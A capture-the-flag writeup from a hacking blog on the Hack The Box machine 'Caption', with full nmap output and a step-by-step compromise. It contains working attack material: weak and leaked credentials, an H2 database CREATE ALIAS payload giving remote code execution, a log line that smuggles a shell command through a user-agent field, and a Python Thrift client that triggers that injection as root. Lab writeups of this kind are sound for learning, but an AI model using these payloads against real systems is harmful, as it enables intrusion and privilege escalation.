KPAX Hacks

A place to collect various hacking information and writeups

23 September 2024

Caption HTB

by kpax

NMAP

# Nmap 7.94SVN scan initiated Sun Sep 15 17:12:02 2024 as: nmap -p- --min-rate 10000 -oA nmap/caption-allports -v0 10.129.230.251
Nmap scan report for 10.129.230.251
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

# Nmap done at Sun Sep 15 17:12:09 2024 -- 1 IP address (1 host up) scanned in 6.72 seconds

Credentials

root:root # Weak Credentials
margo:vFr&cS2#0! # Credntials for caption.htb

Foothold

There is a Gitbucket site on port 8080. A gobuster scan reveals a root user and we try logging in with root:root and it works

Looking through the commits, the update access control commit shows credentials for the website on caption.htb

Further examination of Gitbucket, reveals that it is using a H2 database on the backend.

There is a Database viewer option, that allows us to send SQL commands to the database.

Hacktricks, points us to this code for RCE. We can extract the SQL out of the code and run it in our viewer.

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;

There is an error returned, but our command output is contained within

Looking at margo's home directory we find a SSH key

We can cat this file and copy and paste it to our machine

Replace the \n with \r to get it in the right format and we can now login as Margo

Margo

Back in Gitbucket, we also saw a LogService repository

The server.go file shows that it listens on port 9090

This port is listening on our target server

The server is written to use Apache Thrift, a cross-language service development framework. You can create a service in one language and then anyone can create a client in another supported language to access the service.

Looking at the server code, we see that the IP and User-Agent are being extracted from a file and passed unsafely to an exec command.

If we can create a file on the server with the following content and call the function, we can use a command injection against it. We terminate the echo command, to add our own code and make the rest of the command a comment.

# Create as /tmp/pwn.log on server

10.10.10.10 "user-agent":"';echo test > /tmp/pwn.txt #"

In order to call the service, we can install thirft on our machine and modify the example python client to work for us.

First, generate the python code we need from the log_service.thrift file, found in gitbucket.

thrift -r --gen py log_service.thrift

This creates a gen-py directory. Enter that directory and then create a file called client.py with the following code.

from log_service import LogService

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol


def main():
    # Make socket
    transport = TSocket.TSocket('localhost', 9090)

    # Buffering is critical. Raw sockets are very slow
    transport = TTransport.TBufferedTransport(transport)

    # Wrap in a protocol
    protocol = TBinaryProtocol.TBinaryProtocol(transport)

    # Create a client to use the protocol encoder
    client = LogService.Client(protocol)

    # Connect!
    transport.open()

    try:
        # Specify the log file path to process
        log_file_path = "/tmp/pwn.log"
       
        # Call the remote method ReadLogFile and get the result. This will call our command injection
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
   
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")

    # Close!
    transport.close()

if __name__ == '__main__':
    main()

pwn.txt created as root. We can now put something more useful in our command injection, like a reverse shell.

Full NMAP

# Nmap 7.94SVN scan initiated Sun Sep 15 17:12:09 2024 as: nmap -p 22,80,8080 -sC -sV -oA nmap/caption -vv 10.129.230.251
Nmap scan report for 10.129.230.251
Host is up, received reset ttl 63 (0.027s latency).
Scanned at 2024-09-15 17:12:10 BST for 15s

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http       syn-ack ttl 63
|_http-title: Did not follow redirect to http://caption.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe: 
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
8080/tcp open  http-proxy syn-ack ttl 63
|_http-title: GitBucket
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Sep 2024 16:12:17 GMT
|     Set-Cookie: JSESSIONID=node01w0nkxg7hk1xj1d98wp8urjoeo2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5922
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.230.251:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.230.251:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/im
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 16:12:16 GMT
|     Set-Cookie: JSESSIONID=node010cg7nqbob2s51gzp6zzlwylrj0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 7197
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.230.251:8080/" />
|     <meta property="og:image" content="http://10.129.230.251:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240915161216"
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 15 Sep 2024 16:12:16 GMT
|     Set-Cookie: JSESSIONID=node083uo3cit24j31sgvdeu30d5p61.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=9/15%Time=66E70760%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\ncontent-lengt
SF:h:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x20close\r\n
SF:\r\n")%r(HTTPOptions,66,"HTTP/1\.1\x20301\x20Moved\x20Permanently\r\nco
SF:ntent-length:\x200\r\nlocation:\x20http://caption\.htb\r\nconnection:\x
SF:20close\r\n\r\n")%r(RTSPRequest,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(X11Probe,CF,"HTTP/1\.1\x20400\x20Bad\x20request\
SF:r\nContent-length:\x2090\r\nCache-Control:\x20no-cache\r\nConnection:\x
SF:20close\r\nContent-Type:\x20text/html\r\n\r\n<html><body><h1>400\x20Bad
SF:\x20request</h1>\nYour\x20browser\x20sent\x20an\x20invalid\x20request\.
SF:\n</body></html>\n")%r(FourOhFourRequest,66,"HTTP/1\.1\x20301\x20Moved\
SF:x20Permanently\r\ncontent-length:\x200\r\nlocation:\x20http://caption\.
SF:htb\r\nconnection:\x20close\r\n\r\n")%r(RPCCheck,CF,"HTTP/1\.1\x20400\x
SF:20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:\x20no-cache
SF:\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\r\n<html><bo
SF:dy><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\x20an\x20inv
SF:alid\x20request\.\n</body></html>\n")%r(DNSVersionBindReqTCP,CF,"HTTP/1
SF:\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-Control:
SF:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/html\r\n\
SF:r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x20sent\
SF:x20an\x20invalid\x20request\.\n</body></html>\n")%r(DNSStatusRequestTCP
SF:,CF,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCac
SF:he-Control:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20tex
SF:t/html\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20brows
SF:er\x20sent\x20an\x20invalid\x20request\.\n</body></html>\n")%r(Help,CF,
SF:"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-length:\x2090\r\nCache-C
SF:ontrol:\x20no-cache\r\nConnection:\x20close\r\nContent-Type:\x20text/ht
SF:ml\r\n\r\n<html><body><h1>400\x20Bad\x20request</h1>\nYour\x20browser\x
SF:20sent\x20an\x20invalid\x20request\.\n</body></html>\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8080-TCP:V=7.94SVN%I=7%D=9/15%Time=66E70760%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,1D0B,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2015\x20Sep\
SF:x202024\x2016:12:16\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node010cg7nqbob
SF:2s51gzp6zzlwylrj0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2
SF:001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;cha
SF:rset=utf-8\r\nContent-Length:\x207197\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x20\x20<head>
SF:\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20\x20\x20<me
SF:ta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sca
SF:le=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\x20\x20\x20
SF:<title>GitBucket</title>\n\x20\x20\x20\x20<meta\x20property=\"og:title\
SF:"\x20content=\"GitBucket\"\x20/>\n\x20\x20\x20\x20<meta\x20property=\"o
SF:g:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20property
SF:=\"og:url\"\x20content=\"http://10\.129\.230\.251:8080/\"\x20/>\n\x20\x
SF:20\x20\x20\n\x20\x20\x20\x20\x20\x20<meta\x20property=\"og:image\"\x20c
SF:ontent=\"http://10\.129\.230\.251:8080/assets/common/images/gitbucket_o
SF:gp\.png\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"icon\"\x20href=\"/assets/common/images/gitbucket\.png\?202
SF:40915161216\"")%r(HTTPOptions,108,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20S
SF:un,\x2015\x20Sep\x202024\x2016:12:16\x20GMT\r\nSet-Cookie:\x20JSESSIONI
SF:D=node083uo3cit24j31sgvdeu30d5p61\.node0;\x20Path=/;\x20HttpOnly\r\nExp
SF:ires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\
SF:x20text/html;charset=utf-8\r\nAllow:\x20GET,HEAD,POST,OPTIONS\r\nConten
SF:t-Length:\x200\r\n\r\n")%r(RTSPRequest,B8,"HTTP/1\.1\x20505\x20HTTP\x20
SF:Version\x20Not\x20Supported\r\nContent-Type:\x20text/html;charset=iso-8
SF:859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\n<h1>Bad\x
SF:20Message\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>")%r(FourO
SF:hFourRequest,1817,"HTTP/1\.1\x20404\x20Not\x20Found\r\nDate:\x20Sun,\x2
SF:015\x20Sep\x202024\x2016:12:17\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node
SF:01w0nkxg7hk1xj1d98wp8urjoeo2\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:
SF:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20te
SF:xt/html;charset=utf-8\r\nContent-Length:\x205922\r\n\r\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20prefix=\"og:\x20http://ogp\.me/ns#\"\x20lang=\"en\">\n\x2
SF:0\x20<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\"\x20/>\n\x20\x20
SF:\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20
SF:initial-scale=1\.0,\x20maximum-scale=5\.0\"\x20/>\n\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=edge\"\x20/>\n\x20\
SF:x20\x20\x20<title>Error</title>\n\x20\x20\x20\x20<meta\x20property=\"og
SF::title\"\x20content=\"Error\"\x20/>\n\x20\x20\x20\x20<meta\x20property=
SF:\"og:type\"\x20content=\"object\"\x20/>\n\x20\x20\x20\x20<meta\x20prope
SF:rty=\"og:url\"\x20content=\"http://10\.129\.230\.251:8080/nice%20ports%
SF:2C/Tri%6Eity\.txt%2ebak\"\x20/>\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x20
SF:\x20<meta\x20property=\"og:image\"\x20content=\"http://10\.129\.230\.25
SF:1:8080/assets/common/images/gitbucket_ogp\.png\"\x20/>\n\x20\x20\x20\x2
SF:0\n\x20\x20\x20\x20\n\x20\x20\x20\x20<link\x20rel=\"icon\"\x20href=\"/a
SF:ssets/common/im");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 15 17:12:25 2024 -- 1 IP address (1 host up) scanned in 15.92 seconds
tags: